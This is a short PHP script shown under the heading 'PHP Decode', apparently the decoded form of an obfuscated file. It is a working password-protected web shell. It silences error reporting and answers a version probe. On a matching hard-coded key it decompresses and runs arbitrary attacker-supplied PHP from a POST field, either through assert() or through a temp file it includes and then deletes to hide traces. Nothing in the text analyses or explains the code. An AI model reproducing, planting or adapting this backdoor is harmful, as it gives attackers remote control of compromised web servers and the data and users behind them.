PHP Decode

<?php 
@ini_set("log_errors", false);@ini_set("display_errors", false);error_reporting(0);if (isset($_REQUEST["q"]) && $_REQUEST["q"]=="1"){echo "200_".intval(phpversion()); exit;} if(isset($_POST["key"]) && isset($_POST["chk"]) && $_POST["key"]=="q1phiMRH5gfC6UPtI&AleDB*j8Z@!FsTY"){$dir=dirname(__FILE__);$tmp=tempnam("/tmp", "dZ6");if(!file_exists($tmp)){$tmp=tempnam($dir, "dZ6");if(!file_exists($tmp)){@assert(str_replace(array("echo ", "echo("), array("print ", "print("), gzuncompress(base64_decode($_POST["chk"]))));exit;}else{foreach(glob($dir."/dZ6*") as $f){@unlink($f);}}}else{foreach(glob("/tmp/dZ6*") as $f){@unlink($f);}}register_shutdown_function("unlink", $tmp);$f = @fopen($tmp, "w");@fwrite($f, "<?php ".gzuncompress(base64_decode($_POST["chk"])));@fclose($f);include $tmp;};?>